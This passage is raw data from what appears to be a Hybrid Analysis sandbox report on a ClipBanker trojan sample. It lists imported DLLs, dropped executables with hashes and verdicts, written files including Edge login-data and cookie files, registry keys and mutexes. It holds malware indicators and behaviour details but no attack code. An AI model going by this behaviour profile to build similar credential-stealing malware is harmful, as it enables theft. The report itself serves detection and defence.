-ip 3376","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007556","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6452,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 548 -p 3376 -ip 3376","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006452","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["api-ms-win-crt-string-l1-1-0.dll","api-ms-win-crt-convert-l1-1-0.dll","devobj.dll","iertutil.dll","winnsi.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","netprofm.dll","netapi32.dll","api-ms-win-core-localization-l1-2-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","netutils.dll","GdiPlus.dll","msvcr110.dll","tzres.dll","wshqos.dll","Wldap32.dll","RpcRtRemote.dll","cryptbase.dll","fltLib.dll","user32.dll","api-ms-win-crt-time-l1-1-0.dll","wbemdisp.dll","wbemcomn2.dll","VxSSL32.dll","gdi32.dll","clr.dll","System.Core.ni.dll","sspicli.dll","winhttp.dll","powrprof.dll","fastprox.dll","KernelBase.dll","sechost.dll","api-ms-win-core-file-l1-2-0.dll","shlwapi.dll","comctl32.dll","mscms.dll","ntdsapi.dll","api-ms-win-crt-stdio-l1-1-0.dll","ktmw32.dll","wbemcomn.dll","secur32.dll","mswsock.dll","cabinet.dll","imm32.dll","userenv.dll","INetC.dll","comdlg32.dll","msvcp110.dll","api-ms-win-crt-locale-l1-1-0.dll","api-ms-win-crt-filesystem-l1-1-0.dll","api-ms-win-downlevel-version-l1-1-0.dll","rpcrt4.dll","propsys.dll","npmproxy.dll","Telemetry.dll","api-ms-win-core-processthreads-l1-1-1.dll","kernel32.dll","advapi32.dll","usp10.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","wkscli.dll","samcli.dll","compstui.dll","api-ms-win-core-synch-l1-2-0.dll","psapi.dll","shell32.dll","WindowsCodecs.dll","msvcr90.dll","taskschd.dll","sxs.dll","bcrypt.dll","msctf.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","rsaenh.dll","xmllite.dll","wbemprox.dll","mscoree.dll","ucrtbase.dll","mscorrc.dll","ntmarta.dll","setupapi.dll","wtsapi32.dll","FileSyncShell.dll","LoggingPlatform.dll","winmm.dll","samlib.dll","apphelp.dll","oleacc.dll","nlaapi.dll","wmiutils.dll","wship6.dll","GROOVEEX.DLL","FWPUCLNT.DLL","version.dll","rpcss.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-crt-heap-l1-1-0.dll","nsi.dll","diasymreader.dll","shfolder.dll","vcruntime140_clr0400.dll","clbcatq.dll","dhcpcsvc6.dll","cryptsp.dll","msvcr100.dll","wbemsvc.dll","api-ms-win-crt-utility-l1-1-0.dll","mscoreei.dll","api-ms-win-core-xstate-l2-1-0.dll","msimg32.dll","imageres.dll","shdocvw.dll","api-ms-win-downlevel-user32-l1-1-0.dll","ntdll.dll","ucrtbase_clr0400.dll","uxtheme.dll","api-ms-win-core-timezone-l1-1-0.dll","dnsapi.dll","api-ms-win-crt-runtime-l1-1-0.dll","wininet.dll","webio.dll","WSHTCPIP.DLL","srvcli.dll","oleaut32.dll","EhStorShell.dll","ulib.dll","api-ms-win-crt-math-l1-1-0.dll","msvcrt.dll","ws2_32.dll","lpk.dll","api-ms-win-crt-environment-l1-1-0.dll","normaliz.dll","dwmapi.dll","msvcp90.dll","vcruntime140.dll","oleaccrc.dll","dhcpcsvc.dll","colorui.dll","mscorlib.ni.dll","profapi.dll","rasadhlp.dll","INETRES.dll","cfgmgr32.dll","msvcp140.dll","urlmon.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","IPHLPAPI.DLL","winsta.dll","ATL90.dll","GrooveIntlResource.dll","ole32.dll","clrjit.dll","System.ni.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","wsock32.dll","winbrand.dll","mskeyprotect.dll","Microsoft.AppV.AppVClientPowerShell.dll","amsi.dll","Microsoft.AppV.AppvClientComConsumer.dll","wmidcom.dll","SHCore.dll","aepic.dll","cryptnet.dll","cscapi.dll","WinTypes.dll","Microsoft.PowerShell.ConsoleHost.dll","msisip.dll","wshext.dll","atl.dll","wow64.dll","wow64win.dll","windows.storage.dll","Microsoft.Management.Infrastructure.Native.dll","wow64cpu.dll","Windows.StateRepositoryPS.dll","CoreMessaging.dll","RstrtMgr.dll","ncrypt.dll","cmdext.dll","OpcServices.dll","Microsoft.PowerShell.Commands.Management.dll","imagehlp.dll","System.Transactions.dll","CoreUIComponents.dll","crypt32.dll","wldp.dll","coml2.dll","cldapi.dll","gdi32full.dll","System.Data.dll","Microsoft.PowerShell.Security.dll","System.DirectoryServices.dll","gpapi.dll","MpClient.dll","Microsoft.PowerShell.Commands.Utility.dll","winmmbase.dll","AppxSip.dll","pwrshsip.dll","dpapi.dll","schannel.dll","mi.dll","ncryptsslp.dll","bcryptprimitives.dll","Microsoft.BitLocker.Structures.dll","kernel.appcore.dll","slc.dll","miutils.dll","msvcp_win.dll","System.Management.Automation.dll","System.Numerics.dll","sppc.dll","OnDemandConnRouteHelper.dll","VxSSL64.dll","TextInputFramework.dll","edputil.dll","fsutilext.dll","msasn1.dll","win32u.dll","ntasn1.dll","wintrust.dll","System.Management.dll","System.Configuration.Install.dll","combase.dll","msIso.dll","MpOAV.dll","Microsoft.Management.Infrastructure.ni.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","System.Xml.ni.dll","System.Configuration.ni.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"31839b57a4f11171d6abc8bbc4451ee4.exe","sha256":"5fac6b8c422f2b2d6c3e7ae10a2271ad911eb7c45a6ec838a1050a744ff786be","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"BroomSetup.exe","sha256":"50a46b3120da828502ef0caba15defbad004a3adb88e6eacf1f9604572e2d503","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"InstallSetup9.exe","sha256":"4f883a42e2baa671520a7471c0fefe56fd75be8fd5abedde10e2873fed11662d","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"rty25.exe","sha256":"bbd48c58bc41696a56c317d9650057c725642e5c1dee71a8b4f0b9cbd9095ad4","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"toolspub1.exe","sha256":"8da2cb8ea28028e84ead59e8d7e4f97325351ddab33df6704d3cf8894d5ce7a5","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Task.bat","sha256":"0aac4703993b76877110f374fdf0fc1481d5ea7a8dfd3f4afd2c08837090a2e5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"INetC.dll","sha256":"85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"CHCP.COM.6A98C882.bin","sha256":"6f2d014403f22f65ee7b58f3b53229fc2bfe527e1ffdd11f4c043a43ccf2f6b2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"name":"syncUpd_1_.exe","sha256":"dbbef4a3d983c881e1cfdca4a3abb502e7e193f3049871b5bf900ada5bfdb3f3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"file.exe.log","sha256":"d587c154ea3d33b016889939d2df7e914dd30bc1b8ca267bc316f4b98926df0d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"powershell.exe.log","sha256":"c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Login Data111","sha256":"c75084ee623451406f12a4e30624ffd844cfdada8204356a14084a3e10073926","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Cookies","sha256":"e3e0c2008faa4939ec290b022c4a3df092e1893e61751aff284fd012cade4074","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Cookies-journal","sha256":"a88db94cbc82c4a274b410f3d16d0782a16849d247fd26c40e2c11cedb3231c0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"ab1637109a34ed6a3a9e09abb01ea26e","sha256":"2f58cf8f86a00d28e03873656c157f7e776d0e7feb15cbf0a37bfcf9f27cc137","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"StartupProfileData-Interactive","sha256":"210ab83f242e7f151896e8dcf3e02300f87fc7f557150442913904e08cb5d2d2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"nsd67A7.tmp","sha256":"dbbef4a3d983c881e1cfdca4a3abb502e7e193f3049871b5bf900ada5bfdb3f3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"imagd_1_.jpg","sha256":"c23175f569b3a0f09137d2fffacdf818650ccaf5f4cef8115973d25ebe2e1844","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"ping_1_.htm","sha256":"5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]}],"files_written":[{"path":"%TEMP%\\InstallSetup9.exe","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%TEMP%\\toolspub1.exe","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%TEMP%\\31839b57a4f11171d6abc8bbc4451ee4.exe","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%TEMP%\\rty25.exe","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%TEMP%\\nsx312D.tmp","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%TEMP%\\BroomSetup.exe","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%TEMP%\\nsi3737.tmp","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"path":"%TEMP%\\nsi3737.tmp\\INetC.dll","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%TEMP%\\nsi711C.tmp","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"path":"%APPDATA%\\Temp\\Task.bat","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\file.exe.log","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%TEMP%\\nse4F0C.tmp","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%TEMP%\\nsm54F9.tmp","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%TEMP%\\nsm54F9.tmp\\INetC.dll","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\ping[1].htm","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%TEMP%\\nsd67A7.tmp","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\9SSPAW46\\syncUpd[1].exe","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\4EKOOWYY\\ping[1].htm","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_eallobo0.z1z.ps1","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_vq00ur30.4h4.psm1","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%WINDIR%\\Temp\\__PSScriptPolicyTest_s00h0qer.wle.ps1","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%WINDIR%\\Temp\\__PSScriptPolicyTest_ib0ttqp5.ebn.psm1","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\T1MM1X3A\\imagd[1].jpg","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Network\\ab1637109a34ed6a3a9e09abb01ea26e","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies-journal","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data111","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{F223FF2D-B775-49C0-ADDE-BD477A41B634}\\","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-50-56-91-56-CB\\","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{F223FF2D-B775-49C0-ADDE-BD477A41B634}\\00-50-56-91-56-CB\\","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\483F7B2A\\","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{F223FF2D-B775-49C0-ADDE-BD477A41B634}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-50-56-91-56-CB\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"SM0:7004:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Local\\SM0:7004:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"SM0:7004:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Local\\SM0:7004:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"SM0:7492:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Local\\SM0:7492:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"SM0:1344:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Local\\SM0:1344:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"SM0:4788:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Local\\SM0:1908:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"SM0:1908:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Local\\SM0:1968:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"SM0:1968:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Local\\SM0:7268:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"SM0:7268:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"SM0:7268:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"SM0:7348:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Local\\SM0:7348:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Local\\SM0:7348:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"SM0:7348:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"SM0:6936:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"SM0:6936:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Local\\SM0:6936:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Local\\SM0:6936:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1908:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1908:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]}]}},"report_ids":{"sandbox_job_ids":["6a9896ee5bf3e1d9d4041325","65b7cecd00f3e0980005afcc"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious IL:Trojan.ClipBanker Sample 84d011e18cec… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 84d011e18cec…. Malware family: IL:Trojan.ClipBanker. Threat score 100/100. 18/24 AV engines flagged this file. 22 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799"}],["$","meta","4",{"property":"og:title","content":"Malicious IL:Trojan.ClipBanker Sample 84d011e18cec… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 84d011e18cec…. Malware family: IL:Trojan.ClipBanker. Threat score 100/100. 18/24 AV engines flagged this file. 22 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious IL:Trojan.ClipBanker Sample 84d011e18cec… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 84d011e18cec…. Malware family: IL:Trojan.ClipBanker. Threat score 100/100. 18/24 AV engines flagged this file. 22 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L8e","11",{}]]